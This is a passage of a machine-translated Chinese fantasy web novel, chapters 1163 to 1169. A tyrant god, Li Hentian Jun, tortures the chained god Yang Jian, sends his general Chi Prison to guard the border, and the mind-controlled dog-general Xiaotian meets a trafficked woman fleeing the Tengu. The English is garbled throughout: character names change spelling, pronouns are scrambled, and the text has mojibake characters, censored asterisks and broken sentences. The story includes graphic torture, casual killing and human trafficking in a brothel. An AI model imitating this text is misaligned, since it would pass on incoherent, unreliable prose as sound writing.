    And capable of making a strong like him have to take the seal so solemnly, it can be seen that the things that are about to open are by no means ordinary.


    in an instant.


    The whole mountain rumblingly split into two halves from the middle, and a deep path inside was suddenly revealed in the dark mist.


    Seeing this road, Li Hentian Jun��s eyes showed a complex look, with fear and resentment, but it was more murderous.


    This trail is not too long, but Li Hentian is very slow, not only that, but I don��t know when a lantern appeared in his hand.


    The lantern emits orange-red light, dispersing the surrounding darkness.


    at last.


    When I reached the end, a black light curtain rippling like water appeared in front of me. After a moment from Hengtianjun, he stepped into it When passing through this light curtain , Can not help but suddenly see.


    Because what appeared in front of him was an empty wilderness.


    There is no sun, not even the sound of air turbulence, and some are just suffocating silence.


    But it is in this environment, in the middle of the wilderness, there are a dozen tall black towers.


    I don''t know what kind of metal these huge towers are made of. They are all black and solemn.


    And just above these huge towers, they are connected with huge chains.


    These chains converge toward the center like a spider web.


    At the center, there is a man with his head down and topless.


    This man is tall, but his body is covered with scars, and some wounds are even more visible.


    But at this moment, all the wounds are no longer bleeding, but are like dry lips, savagely open, making people afraid to look directly.


    Not only that, the ends of these chains turned into strands of black silk, which were bound to the man''s body layer by layer, making him unable to move at all.


    Seeing everything as usual, Li Hentian Jun let out a sigh of relief, and then took a step before appearing in front of the giant tower chain forest.


    Then Li Hentianjun laughed, but the laughter was full of ferociousness, "Guankou Jiro, long time no see!"


    There was another silence.


    Suddenly, the iron chain began to disturb gently, and then the man slowly raised his head, his handsome face like a crown was full of indifference. .


    And between his eyebrows, it was...


    A vertical eye!

 Chapter 1164： Kanguchi 2 Roh Tenjin Dog

    Although he was seriously injured and bound by heavy chains, the man''s eyes were extremely calm.


    It was a kind of pure peace without any mood swings.


    Under this kind of gaze, Li Hentian Jun, who was originally proud of his face, trembled, and subconsciously took a half step back.


    "You are afraid!" the man suddenly said.


    The voice was indifferent, but with a hint of ridicule.


    Li Hentian Jun''s face sank, and he snorted coldly, "Afraid? What a joke, I am a magnificent Tianjun, how can I be afraid? It''s you!"


    Li Hentian looked up and down the man''s eyes, "Yang Jian, such a long loneliness, you didn''t go crazy, but you have been sober. It''s really admirable!"


    Yang Jian didn''t pay attention to the mockery in his words at all, and still watched quietly. It wasn''t until a moment later that a wistful smile appeared on the corner of his mouth.


    "I can feel it, you are really scared!"


    As soon as he said this, Li Hentian Jun''s face changed, a look of anger appeared in his eyes, and then he waved his hand.


    However, seeing golden runes suddenly appeared on the towers of the dozens of tall towers, and then these huge chains began to creak.


    In an instant, these chains were tightened, and all the limbs of the masculine were torn apart, and then the chains were still turning little by little.


    There was a sour creaking sound, which was the sound of the bones of the masculine limbs being pulled apart by a huge force.


    And under this tremendous force, even his skin had been torn to pieces, dripping with blood.


    But in the face of this huge pain that makes ordinary people crazy, Yang Jian didn''t even frown his brows, still looking at Li Hen Tianjun coldly.


    This kind of sober gaze made Li Hentianjun''s eyelids jump, and he couldn''t help but said grimly: "Yang Jian, I know you are not afraid of death, but do you really think I will let you die like this? Your immortal body Let you spend ten thousand years here, and what awaits you next is a longer and painful time. Enjoy it slowly, Jiejie..."


    Li Hentian Jun laughed strangely.


    But after smiling, Yang Jian also laughed, and there was no fear or panic in his smile.


    Yes, just ridicule.


    "I understand. You must have felt something, and this feeling is probably related to my Chinese nationality. That''s why you were so panicked that you even came here to see if I escaped. I guess right? Li Hate Heavenly Lord!"


    Yang Jian''s words made Lihentianjun''s face blue and white, and finally his eyes grew colder, "What about it, what about it? The Chinese people are gone, this is destined, no one can change it, but you... ."


    Li Hen Tianjun smiled at Yang Jian a few times, "Are you not afraid of suffering even more pain when you speak like this?"


    At this time, the chain had pulled Yang Jian''s limbs to the limit, and the blood fell like rain, making his complexion paler.


    But even so, when he heard Li Hentianjun''s words, he couldn''t help laughing up to the sky.


    "Li Heng Tianjun, as a Chinese god, I, Yang Jian, have never feared anything, and have you done little torture on me over the past ten thousand years, but have you ever seen me bow my head?"


    Li Hentian Jun''s face turned pale, and it was obvious that Yang Jian''s words evoked some unpleasant memories.


    Yang Jian said coldly: "Li Heng Tianjun, the reason why I have survived until now is to see what happens to someone like you! And you just said that wrong!"


    "The fate of the Chinese nationality, no one is doomed!"


    "You...!" Li Hentian Jun was furious, and raised his hand, the runes on the dozen black towers became more and more golden.


    Then these chains suddenly turned into black pythons, entwining the masculine body completely.


    As the giant pythons wandered, there was a toothless scale rubbing sound, and then the black pythons began to shrink their bodies a little bit.


    Giggle.


    There was a crisp sound, that was the sound of Yang Jian''s body breaking because of being overwhelmed.


    But even so, Yang Jian still did not say a word, and continued to look at Li Hen Tianjun with a look of mockery.


    "Crack him!" Li Hentian Jun popped these words from his teeth.


    quickly.


    Yang Jian''s body turned into a mass of flesh and blood.


    But in the blink of an eye, these flesh and blood began to squirm and then reunited into a human form.


    Soon, Yang Jian reappeared in front of him.


    It''s just that at this moment, his complexion was much paler than before, and even the vertical eyes between his forehead became bleak.


    "Guankou Jiro, I know that the bones of you Chinese gods are very hard. In that battle, only your Chinese gods died, but no one surrendered! And you are a hard bone! But you really think I am just Is it that simple to torture you?" Li Hentian Jun said with a grinning smile.


    Yang Jian''s expression finally changed.


    Seeing this, Li Hentian became more and more proud, "Hehe, you must have guessed it! That''s right, your loyal snarling dog is now in my hands!"


    "Screaming..." Yang Jian trembled all over, whispered softly, then Huo Ran raised his eyes and asked sternly: "The surname Ye, what do you want to do?"


    Li Hentian smiled proudly: "What do I want to do? Hehe, don''t worry, I won''t kill him! But he took the initiative to follow him in order to save you, and I saw that he was good at fighting and killed and wasted. He just thoroughly refined his spiritual thoughts, and now he has become a loyal dog under me! Hahahahahaha!"


    Li Hentian looked up to the sky and laughed.


    In the laughter, Yang Jian''s complexion became paler and paler, and the whole person trembled.


    "Wow..." Yang Jian''s lips moved, and he said these two words softly.


    Then, no matter how much he suffered during these ten thousand years, he had never shed tears, and at this moment he shed two lines of blood and tears.


    At this moment, Li Hen Tianjun suppressed his laughter, and said viciously: "I do have a hunch that someone from your Chinese will come, but do you really think that this is still the time when your Chinese was in full swing ten thousand years ago? "


    "I have made all preparations. By that time, your snarling dog will be the vanguard officer! Tsk tsk, I really don��t know if the Chinese people who have worked so hard to travel through know that the one waiting in front of them is Hua What kind of mood the clan gods will be! I really feel excited when I think about it!"


    "No!" Yang Jian let out a loud roar, the vertical eyes between his forehead became blood red, and then rose to the sky, his muscles twisted, trying his best to break free from the chains that bound him. .


    Just hearing the sound of golden and iron clinking, these chains were stretched to their tightest, and they were even close to touching Li Hentian Jun Li Hentian Jun did not even hide. Just watched with a smug look.


    At this moment, the runes on the dozen or so towers suddenly increased by more than ten times, and the brilliance was like flowing gold, and the huge force formed instantly pulled the Yang Jian from the midair.


    Then the chains turned into a sea of ??black snakes, and they wanted to swallow Yang Jian completely.


    Even so, Yang Jian still let out an unwilling roar.


    "Like Tianjun, one day sooner or later, I will completely crush your soul!"


    Li Hen Tianjun laughed, "Unfortunately, you have no chance!"


    After all, he turned away triumphantly.


    At the moment when he was completely engulfed by the black snake sea, Yang Jian looked at the back away from Hentian Jun through the layers of black fog, and a drop of blood and tears fell from the corner of his eyes.


    Wow...you must not do stupid things!

 Chapter 1165： 1 Paper Edict

    Although the confidant that he had been worried about did not happen, Li Hen Tianjun returned to the temple still uneasy.


    The horror he felt while meditating really made him feel terrified.


    So after sitting on the futon for a while, he shouted in a deep voice: "Xuan!"


    Following his voice, an edict suddenly appeared in front of him, and there was a big statement on the edict.


    Then in an instant, the paper edict disappeared in place.


    After half a stick of incense.


    But seeing the space in front of the temple, there was a wave of ripples, and then a tall and powerful deity walked out from it.


    This person looks young, that is, in his twenties, and his facial features are perfect, but I don''t know how, when combined, it gives people a vicious and vicious feeling.


    But the most striking thing is that this person also has a vertical eye in his forehead.


    Moreover, this vertical eye is not only in form but also in momentum, it is exactly the same as Yang Jian''s.


    When he appeared in the temple, he bowed at Li Hen Tianjun who was sitting high above the futon.


    "Subordinate Red Prison, I have seen Lord Tianjun!"


    If there are other gods of this world present, they will definitely be terrified after hearing the name of the red prison.


    Because in this Lihentian, the name Chi Prison is known to everyone.


    Li Hentianjun''s first **** general, the first person among the younger generation of gods, all honors belong to him.


    If it''s just that, that''s all.


    The key is that this red prison has a violent temperament, and if you don''t make a move, you have to kill everything before you can stop.


    As the years go by, this red prison has accumulated a prestigious name in this Lihengtian, which makes people talk about it.


    now.


    Li Hentian Jun looked down at this top-ranked **** general created by himself, and nodded in satisfaction.


    "How is the situation outside recently?"


    "Sir Huitianjun, the external situation is normal, everyone is afraid of your divine light!" Chi Prison said respectfully.


    "Can any weird character appear?" Li Hentian Jun was still a little worried, and couldn''t help asking.


    Hearing this, Chi Prison was taken aback, and he didn''t seem to understand why Li Hentian asked, but he quickly shook his head, "No strange characters appeared! I have been patrolling all over this period of time. If anything is abnormal, I The first one will find out!"


    Hearing Chi Prison say this, Li Hentian Jun was slightly relieved, "That''s good!"


    "Sir Tianjun, what is the matter with you calling me here?" Chi Prison asked.


    Li Hentian Jun nodded, his expression became solemn, "Yes, there is indeed something!"


    "Master Tianjun, please speak!"


    "Recently, I have been upset and even felt a strong ominous premonition during meditation. This is obviously not a good omen. It is likely that something is going to happen! So I decided that during this time you put down what you are doing. Everything, lead your able men to defend against the edge of the sea away from Hatred!"


    Hearing these words, Chi Prison couldn''t help but froze for a moment, and then said in some surprise.


    "My Lord Tianjun, don''t you need to be like this? Even if someone comes, I will kill them directly. Why put aside other things and go there to defend?"


    The so-called Marginal Sea refers to the place where Li Hentian borders other worlds.


    It can be said that if you want to enter Lihentian, the edge of the sea is the only way to go.


    But because the law of Lihentian Tiantian is complete, and the defense circle is extremely strict. I have never heard of anyone who dared to break through forcibly since ancient times, so there is usually no one to defend.


    But Li Heng Tianjun shook his head, "You don''t understand, I suspect that this matter is probably related to the Chinese!"


    "Chinese...?" As soon as he heard this name, Chi Prison''s expression changed.


    As the absolute confidant of Li Hentian Jun, he naturally understands what Chinese means.


    But soon, he grinned and said, "If someone from the Chinese nationality who doesn''t open their eyes really comes, that would be a good thing. After all...I have benefited a lot from the Chinese people!"


    With that said, Chi prison smugly touched the vertical eye between his forehead.


    This is what Li Hen Tianjun took from Yang Jian, and then used various secret methods to condense the red prison. All kinds of magical effects greatly increased the strength of the red prison, so naturally he couldn''t put it down.


    "Anyway, this matter is no trivial matter, I would rather kill the mistake than let it go!" Li Hentian Jun said in a deep voice.


    Chi Prison gave his hand, "Don''t worry, Lord Tianjun, your subordinates understand!"


    With that, he turned around and left.


    "Wait a minute!" Li Hentian Jun suddenly shouted.


    "Master Tianjun, what else do you have to order?"


    "When you go to the edge of the sea to garrison, remember to bring the snarling dog, and if someone comes, remember to let him take the lead!" Li Hentianjun said lightly.


    Chi Prison was stunned when he heard the words, and then nodded with a grinning smile, "It''s still a good plan for Lord Tianjun, the subordinates admire it!"


    "Go!" Li Hentian Jun waved his hand.


    "Yes!"


    Chi Prison turned around, and the vertical eyes between his foreheads suddenly opened, but saw a divine light flashing, cutting a gap in the space, and then he stepped into it and disappeared in place.


    After watching Chi Prison go, Li Hentian Jun was silent for a moment, and then waved his hand, the whole person instantly appeared in a secret room in the temple.


    The layout of this secret room is extremely simple, but the aura is much richer than the outside world, and even a thin layer of spiritual frost has condensed on the ground.


    In the middle of the secret room, there stands a crystal clear and flawless beautiful jade.


    This jade is as tall as one person, and exudes a palpitating powerful spiritual pressure, indicating that this spiritual jade contains extremely powerful spiritual accumulation.


    Not to mention anything else, just relying on this piece of spiritual jade, it can''t be taken out by ordinary gods.


    Even in the place where the great teachings gathered in the depths of the void, such flawless spiritual jade is priceless.


    After seeing this piece of spiritual jade, Li Hentian Jun''s face showed a complex look, and then walked over slowly.


    When I got closer, I could see a faint figure in the jade.


    With the breath of spiritual energy, this figure is becoming solidified bit by bit.


    Although this process is very slow, it is now possible to vaguely distinguish the person''s appearance.


    Surprisingly, he is a man with a cruel facial expression and a hatred of Tianjun.


    After seeing this man, Li Hentian Jun stretched out his hand with excitement and gently stroked this piece of spiritual jade.


    "Yan''er, you have suffered during this period of time!"


    That''s right!


    What appeared in this piece of spiritual jade was the Ye Liuyan who led the gods to come to the earth before, massacred, and was eventually directly killed by Xue An.


    That is his son.


    At that time, Xue An used the technique of cause and effect to completely strangle Ye Liuyan''s soul If there were no accidents, he would have been turned into fly ash and disappeared.


    But this Li Hen Tianjun only has this bloodline, so in order to save Ye Liuyan, he did not hesitate to use a flawless spiritual jade, and then put a piece of Ye Liuyan''s soul fragment into it to rest.


    After such a long wait, he gradually returned to his original body.


    Li Hentian Jun looked at Ye Liuyan with his eyes closed in the flawless spirit jade with a complicated expression.


    "Han''er, don''t worry, you have a hunch for your father. The Chinese person who came this time is most likely the one who killed you, and will avenge you for your father at that time!"


    Speaking of this, Li Hentian Jun��s eyes showed a horrible cold light, and a powerful murderous intent rose to the sky, causing the sky above the temple to change color.


    And all the people who witnessed this scene within a radius of thousands of miles were shocked by the mighty power leaked by Li Hentianjun, and they all bowed their heads not to look directly.

 Chapter 1166： Moody

    And at this moment.


    In the Scarlet Prison Temple, which is thousands of miles away from the central temple, the Scarlet Prison also appeared.


    "I have seen you!"


    "Have seen Lord God General!"


    There are already many subordinates in the temple waiting here.


    Because they all heard that the Red Prison had been sent away by an edict.


    And in this Lihengtian, only Lord Tianjun could summon the Red Prison.


    These men didn''t know what happened, so they all rushed over.


    Seeing the crowd knelt down, Chi Yuzhi nodded triumphantly.


    "Get up all!"


    Everyone got up one after another.


    "Master God, Master Tianjun is calling you to go, but what''s the order?" The confidant of Chi Prison asked respectfully.


    Chi Prison heard the words and smiled, "It''s nothing, but the Lord Tianjun feels that there will be outsiders invading me, Li Hentian, so I sent me to wait to be stationed at the edge of the sea!"


    Upon hearing these words, there was a commotion in the audience.


    "What? Someone dare to invade me Li Hentian? Is it really too tired?"


    "That''s right, I think how awesome is my Lihengtian. It is the highest heaven in the God Realm. Who would dare not admire it and dare someone invade?"


    Everyone screamed.


    But some people were more sober and asked respectfully: "Master God, since Master Tianjun ordered this, how do we implement it?"


    "Of course I am going. It''s boring to stay in this Scarlet Prison City anyway. We should go out and relax. If someone dares to invade, we will take this opportunity to earn some credit and relieve boredom. What do you think? "


    The words of Chi Prison drew laughter from the audience.


    "That''s right, I''ve been idle for a hundred years, and my bones are crispy, just going out for a stroll!"


    "Tsk tusk, I still think this invading guy is either stupid or stupid, but the Lord God is right. They don''t come here. If they come, they will give us credit!"


    To be appreciated by the red prison, these subordinates are also murderous and bloodthirsty desperadoes, so after hearing that there is credit to be made, they all can''t help but clamor, wishing to go to the edge of the sea now.


    But at this moment, Chi Prison waved his hand suddenly, "Be quiet!"


    Huh!


    The sound of the audience was like being pressed the pause button, and instantly became silent.


    Then Chi Prison looked around the audience and frowned slightly, "Why isn''t Roaring here?"


    I heard the name Xiaotian.


    The expressions of everyone in the court all became a little weird.


    Several people looked at each other, and then one of them stepped forward and said respectfully: "Master Huishen, this snarling dog is submissive by a foreigner and is not eligible to participate in a gathering like ours, so he did not notify him. !"


    "Bastard!" Chi Prison suddenly furious.


    And with his voice, the head of the speaker exploded to pieces.


    But the headless corpse didn''t fall down, but tremblingly bent over to salute the Chi prison.


    Not only this person, everyone in the audience bends down in silence, afraid to make the slightest change.


    Because this red prison has always been known for his moodiness and murder, who would dare to touch him.


    "Snarling Sky Dog is somehow a strong person that Lord Tianjun personally rewarded me. How dare you wait so slowly? Go and invite him in!"


    Hearing Chi Prison say this, a strange color flashed in many people''s eyes.


    It seemed that he didn''t understand what the Master Chi Prison was going to do.


    But his words are commands.


    Therefore, he heard the sound of footsteps, and then walked in from outside the palace gate to a young general in white clothes.


    This white-clothed teenager looked like he was eighteen or nineteen years old, dressed in white armor and bullying Saixue, and his face was even more handsome.


    Especially his pair of sword eyebrows, diagonally inserted into his temples, matched with his pair of phoenix eyes, there is a strange charm.


    It''s just that at this time, there is only luster in his eyes, but there is no aura of agility.


    And the behaviors are very rigid, at first glance it looks like a puppet.


    The one who came was the snarling dog.


    Seeing him, the eyes of many people in the hall were a bit complicated, including fear and hatred, but most of them were still jealous.


    Since he joined Red Prison City with this roaring sky, he has become the first person under Red Prison with his indisputable strength.


    This naturally makes these people full of dissatisfaction, so they are under common exclusion.


    Despite his tyrannical strength, Xiaotian fell to the point of patrolling the streets outside every day, completely becoming a marginal person.


    Unexpectedly, I was suddenly mentioned by Chi Prison today, which naturally made many people feel uncomfortable.


    At this moment, the face of Chi Prison was full of smiles.


    "General Roaring, you have worked hard during this time!"


    Xiaotian was silent for a moment, then slowly arched his hands and said in a jerky voice: "My lord is serious!"


    Scarlet Prison smiled, "General Screaming, I just received the order from Lord Tianjun, we will go to the edge of the sea to garrison, and you are the vanguard officer. Do you have any objections to this?"


    These words caused a commotion in the audience.


    But Xiaotian shook his head, "Everything is up to the adults!"


    "Very well! Then there will be General Lao Shutian! This time someone violated me, Li Hentian, so don''t show mercy to General Shuotian when that happens!"


    Xiaotian was silent for a moment, then nodded, "Understood!"


    Chi Prison laughed more and more happily, "Okay! General Roaring Heaven is really extraordinary, come here! Give a seat and enjoy wine!"


    Soon, someone brought seats and drinks to Xiaotian.


    Xiaotian didn''t refuse, and just sat in the hall and started drinking.


    Chi Prison looked at it with a smile, ignoring the voice of everyone in the audience.


    And just when everyone was at a loss for Chi Prison''s actions.


    Suddenly there was a commotion outside the hall, and then someone heard a mournful cry: "Master God, you have to be my master!"


    Following the voice, he saw a man with a blue nose and a pale face running in panic.


    It''s just that, somehow, even though this man is a human, when he ran, he looked like a dog.


    It was him at first sight, and there was another low commotion in the audience.


    The Red Prison was also taken aback, and at this moment the man knelt on the ground with a plop, and said with tears and nose.


    "Master God, you have to call the shots for me!"


    Chi Prison was a little bit dumbfounded, but still sternly said, "General Tengu, what''s the matter with you?"


    "Woo, Lord God, I went to the lower realm to swallow the scorching sun two days ago as usual, and accumulated divine power for you, Lord God and Lord God, but I did not expect that this time I was hit by someone in the lower realm with secret methods Become this look!"


    That''s right!


    The person who came was the Tengu who was previously used by Feilongwu, Lishendian and others to block the Abyss of Skyfire and tried to trap Xue An, but was beaten by Xue An''s and injured himself.


    Speaking of which, this tengu is really unlucky.


    Originally went to swallow the scorching sun according to the usual practice, but on a whim, the divine power was borrowed by the people of Feilongwu and the Temple of Power.


    If that''s all there is to it, I didn''t expect to encounter Xue An as strong and unreasonable.


    So after a rebound, this tengu also suffered serious injuries.


    That''s why he came back crying.


    After listening to the passage, everyone was a little dumbfounded.


    Chi Prison even more helplessly scratched his scalp, and then said impatiently: "Okay, you will talk about this later, we now have a new task, we have to perform it first!"


    "New mission? What mission?" Tengu was a little silly.


    Then he noticed Xiaotian who was drinking while sitting not far away. He was taken aback for a moment, and then there was crazy jealousy and resentment in his eyes.

 Chapter 1167： Madame Drunken Dreams

    "Master God, why is this foreigner here?" Tengu asked with a look of resentment.


    Scarlet Prison chuckled, "Forgot to tell you, Lord Tianjun personally appointed General Xiaotian as the vanguard officer of this mission!"


    "What?" The tengu went wild.


    Because they belong to the same canine family, since the snarling tengu came to the city of Chi prison, the tengu has been full of hostility to it, and tried his best to exclude the snarling tengu.


    Originally, his purpose has been achieved, but he never expected that this time the snarling dog was personally appointed by Lord Tianjun.


    This naturally makes Tengu''s heart full of resentment and jealousy.


    The problem is over, he can only lower his head and dare not say anything else, but his eyes are full of dissatisfaction.


    "Okay! Pack things up, let''s go now!"


    "Yes!" Everyone suddenly agreed.


    After a while, I saw the brilliance of the Red Prison City all around, and went straight to the far edge sea.


    Although it is called the edge sea, there is no ocean here.


    There are only large swathes of wilderness shrouded in chaotic fog.


    If ordinary people enter it, they will be directly torn apart by the force of the shattered space inside.


    But this place is not deserted, on the contrary, it is very prosperous.


    Because no matter how powerful Li Hentian is, he must communicate with the outside world.


    Therefore, Li Hentian Jun specially issued a warrant, and the holder of the warrant can shuttle back and forth in this fringe sea.


    To put it plainly, it is an officially recognized trader.


    These people traffic out the unique ore produced by Li Hentian, and then bring back special products from the outside world.


    going back and forth makes this trade road very prosperous.


    With commerce, there will be cities.


    The Sea of ??Edge is no exception. In the most important part of this business road, a huge city stands impressively.


    This is the famous fringe city in Lihentian.


    Every day, countless goods are circulated through here, and wealth flows continuously into Li Hentianjun��s pockets.


    This shows the importance of this place.


    Therefore, the one who is in charge of this fringe city is directly the Yifang Ji concubine of Li Heng Tianjun, the drunken dream fairy known as the second lady!


    At this moment, this drunken dream fairy naturally also received the news, so when Chi Prison led the crowd to the edge city.


    She actually took someone to greet her.


    Even though Chi Prison is arrogant, he still has to bow his head respectfully when facing this woman who is better than her in terms of her wrists and status.


    "I have seen the second lady!"


    This drunk dream fairy is an extremely charming woman, and when she heard the words of Chi Prison, she laughed without saying, "The Lord God is polite, you wait for the order of Lord Tianjun to come to guard, I am naturally very welcome, soon Come in!"


    Someone greeted everyone to walk into this fringe city.


    I have to admit that this fringe city is much more prosperous than the Chi prison city.


    As soon as they entered the city, many of the subordinates in the red prison looked straight.


    After arriving at the City Lord''s Mansion, everyone couldn''t help being even more shocked.


    Because this city lord''s mansion is magnificent, but from time to time there are bursts of laughter from men and women, and it is a brothel.


    Zui Meng smiled and greeted: "Everyone has come from afar, so please rest here first!"


    As he said, countless Yingying Yanyan greeted them, and with a smile, they dragged away all the Chi prison and many of his men.


    Facing this kind of pink offensive, the desperadoes, headed by Chi Prison, were naturally happy. They were too late to be polite, so they followed these women into the building anxiously.


    drunk dreaming and smiling, only a touch of unnoticeable disdain flashed in his eyes.


    But soon, she recovered as she was, and was about to step into the building.


    But at this moment, she suddenly found a person standing alone in the distance.


    A handsome young man in white armor.


    Upon seeing this scene, Drunk Meng couldn''t help but let out a horror, then stepped forward and said with a smile: "This general, but the women before him can''t see it? Why stand here instead of entering Where is it for fun?"


    Hearing the words, he raised his head and quietly glanced at the Drunken Lady, then shook his head, "I don''t need it!"


    When Xiaotian''s gaze was touched, the drunken lady felt her heart tight for no reason, and her hair seemed to stand up.


    But her city is extremely deep, and these strange things did not show up at all. Instead, she said with a smile: "I''m really sorry, I didn''t realize that the general is not a human race, but you can rest assured that there are no matter what kind of girl I have. !"


    said, she turned her head and winked at her hand.


    ''S subordinates hurried away, and after no more than a cup of tea, they led a woman over.


    The woman lowered her head all the way. Although she couldn''t see her face clearly, she could see the charming face through the falling hair.


    But at this moment, the woman was trembling all over, as if she was extremely scared.


    Drunk Meng chuckled and said, "This general, this woman I just bought two days ago. She happens to be of the same race as the general and she is still a young child. If you like it, you can take it away."


    These words came out of her mouth, with a kind of ultimate charm.


    But Xiaotian still didn''t have any expression, just turned his head to look at the brought woman.


    At this time, the woman was taken aback when she heard the words of Mrs. Drunken Dream.


    Same race?


    Is there really a clan?


    Thinking of this, the woman couldn''t help but raise her head secretly to look at Roaring Sky.


    Just at this moment, the two eyes touched together.


    The woman''s heart was shocked Yes, it is indeed the atmosphere of the same race, and it is very powerful.


    The key is that she can still smell keenly, there is no such tyrannical blood in Xiaotian.


    This made her desperate suddenly ignite a glimmer of hope, and then she looked at the sky with almost pleading eyes


    But at this moment, Xiaotian lowered his gaze and said coldly, "I said, I don''t need it! Just find me a quiet room!"


    No one thought that Xuantian would refuse.


    Especially this woman was shocked all over her body, and then looked at the sky with despair.


    Mrs. ���� Drunken Dreams was also taken aback, but immediately, a smile appeared on the corner of her mouth, and then nodded, "Well, well, since the General said that, then I won''t force it anymore!"


    said, she winked at her hand, and a strong woman stepped forward and grabbed the woman''s arm and dragged it away.


    From beginning to end, the woman didn''t say a word, but looked at the sky with sad and desperate eyes.


    I hope he can change his mind.


    But until she was dragged away completely, Xiaotian didn''t even look at her.


    Then the drunk dream lady sent someone to lead the world to rest.


    And it wasn''t until his figure disappeared around the corner that the smile on Madam Drunken Dreams'' face gradually disappeared.


    "Is this the General Roaring Heaven who came from the Chinese clan?"


    "Yes!" the subordinates replied. .


    "You really deserve to be a Chinese god!" Mrs. Drunk sighed, and then said coldly: "Send someone to stare at him. I will know if there is any change!"


    "Understand!"

 Chapter 1168： Group Demon Flurry 0 Thoughts

    In the evening, the fringe city lights up, and the city lord��s mansion is singing and dancing, and it is a prosperous scene.


    Because the Red Prison God will be waiting for the arrival of people, this city lord''s mansion is even more lively.


    From time to time, you can hear the jokes and laughter coming from the various rooms, like a group of demons dancing.


    Mrs. Drunk Meng sat in the study, checking today''s accounts.


    This is her habit of being unmovable every day.


    at this time.


    The study door was gently pushed open, and from the outside, he walked into a middle-aged man with ordinary clothes, ordinary appearance, and very ordinary aura.


    This man is ordinary, if he is thrown into a pile of people, he will be lost immediately.


    But when he saw this man come in, Mrs. Drunk Dreams put down the account book in her hand and nodded very seriously.


    "how about it?"


    The man bowed and said, "Thank you, Madam, so far, it''s safe and sound, but three girls have died in the room of the Red Hell God General!"


    Hearing this, Mrs. Drunk Dreams frowned slightly and snorted coldly: "This Red Prison is indeed a mad dog cultivated by Li Hen, and his actions are extremely tyrannical! Leave him alone, if the girl dies, give him a new one! "


    "Yes!" The man lowered his head and responded.


    Suddenly, Zui Meng remembered something, and asked in a deep voice, "How is that General Roaring?"


    The man shook his head, "Nothing is out of the ordinary! Actually, this general who has been in the room has never come out since he entered the room!"


    "Oh? Haven''t been out once?" Zui Meng closed the ledger and frowned slightly.


    The man nodded, "Yes, I even sent dinner for dinner. I heard from the food delivery person that the snarling **** general didn''t even see what was sent in, so he ate it!"


    Drunk Meng leaned on the chair and smiled coldly, "It is said that this snarling **** who is originally a Chinese **** will become like a robot after coming over. Now it seems that it is not a lie!"


    "Madam, shall we continue to monitor him then?"


    "Send someone to stare! But what I suspect is why the old guy from Li Heng suddenly turned his **** off this time, and actually sent this roaring sky out!" Zui Meng said hesitantly.


    The man was also taken aback, "You mean..."


    "Hehe, don''t look at me and the old guy Liheng in name. I manage such a huge property for him, but this old fox never believes in anyone. I even suspect that he sometimes even himself Do not believe!"


    "This time he suddenly sent his first **** general, Chi Prison, and led a large army to arrive. In name, it was a garrison, but I always felt it was not that simple!"


    "Especially, this Xuantian was also sent out. This is what puzzles me the most."


    The man suddenly said: "Is it possible that Lord Tianjun is watching for something? Even so much fanfare?"


    Drunk Dreams was also taken aback, "Beware of what... can make Li Hen Tianjun so scared, what is the origin of the other party?"


    The man also shook his head, "I don''t know this! But I think this time is obviously extraordinary, we must deal with it carefully!"


    Drunk Meng nodded, "That''s right! Then I will be bothered by the housekeeper during this time!"


    This man is Zui Meng��s first staff, and also the chief steward of this city lord��s mansion, Yu Jian.


    "Madam is serious!"


    After all, this is located at the edge of the steward and retired.


    Drunk Meng leaned heavily on the chair, the room was dark, and Drunk��s face was irradiated by the light from the window, which made her look a little confused.


    And Zui Meng is really at a loss at this moment.


    Because at this moment, she was thinking about the words just now in her heart.


    Who is it that can make Li Hen Tianjun so scared, and even send so many people to garrison?


    is in the drunken dream when it is puzzled.


    In a secluded courtyard in the city lord��s mansion, Xuantian was drinking slowly in the house.


    Wine is good wine, and food is good.


    But in the eyes of Xiaotian, no matter what kind of food can be eaten, it is the same.


    Just like this moment, his posture when eating is almost standard.


    Pick two chopsticks and food, and drink a sip of wine.


    And not only the posture is standard, even the rhythm and frequency are almost the same.


    After a long time, you will feel that sitting there is not a living thing, but a robot composed of precision machinery.


    can be when Xuantian is pouring himself in the house.


    There was a sudden knock on the door outside the courtyard.


    The voice was very rushing, and it was obvious that the knocker was also very anxious.


    Xiaotian didn''t have any extra expressions, but slowly put down his chopsticks, and then almost mechanically turned around and left the room, and came to the courtyard gate.


    As soon as the courtyard door opened, a figure jumped directly into Xiaotian''s arms.


    is accompanied by a fragrance of women.


    is the woman whom Mrs. Drunk Meng would recommend to Xuantian before.


    It''s just that at this moment, the woman is trembling all over, leaning against Xiaotian''s arms, she said in a trembling tone: "Help me!"


    Ke Nephrite was screaming in her arms, but she didn''t even blink her eyelids, and she even kept the door open with her hands. UU read without any extra actions.


    The woman said again in a nearly pleading tone: "My lord, please save me! Someone is chasing me behind!"


    At this moment.


    I only heard a strange laughter from a distance, "Beauty, if you can''t run away, you should get rid of this uncle as soon as possible!"


    , he saw a figure rushing towards him. When he stood still, it was the Tengu General.


    It''s just that when he saw that the woman he had been chasing after was actually thrown into Xiaotian''s arms, the original smile disappeared instantly, replaced by a strong hatred and resentment.


    "Okay! No wonder running so fast, it turned out to be here to move the rescuers? But do you think that this wooden bump can stop me?" Tengu raised his hand and pointed to the sky with a frantic expression. .


    After he came here, he had already had a lot of fun, but he didn''t expect to find this woman when he was going out to see what was new and interesting.


    Because they belonged to the canine family, the tengu was deeply attracted by it at the time, and then rushed forward eagerly, dragging the woman to her house.


    This woman was originally full of fright, but when she saw the tengu, she was even more frightened.


    As a canine princess, she has a very unique talent, that is, she can smell the good and bad of the human heart.


    So after coming into contact with tengu, he was frightened by the strong evil spirit on his body. .


    She understood that if she really followed this tengu, she would have to explain her own life.


    In a hurry, she actually broke free from the shackles of the tengu and ran away.

 Chapter 1169： Speak for help and stop violence with violence

    The dog was taken aback for a moment, and then chased afterwards with a grinning smile.


    He didn''t think that this woman could escape, so he chased after him with a joking attitude.


    This woman also understands that it is impossible to escape this fringe city with her own strength, and even this city lord''s mansion can''t get out by herself.


    Just in this rush, she actually smelled a scent from Xiaotian.


    You must know that her sense of smell is extremely keen, and once she has smelled it, she will never forget it again.


    The daytime contact has made her understand that this boy in white is not a bad person.


    And if I want to live now, the last glimmer of hope is probably in this white-clothed boy.


    With the mentality of holding a dead horse as a living horse doctor, the woman followed the faint breath all the way, and actually found this place and knocked on the courtyard door.


    But this Tengu is not a vegetarian, so it followed suit.


    this moment.


    The situation has reached a deadlock.


    Tengu himself was extremely dissatisfied with the roaring sky. Now that he saw the woman he was in love with was actually thrown into his arms, he was even more jealous and frantic, so he was naturally very mean when he spoke.


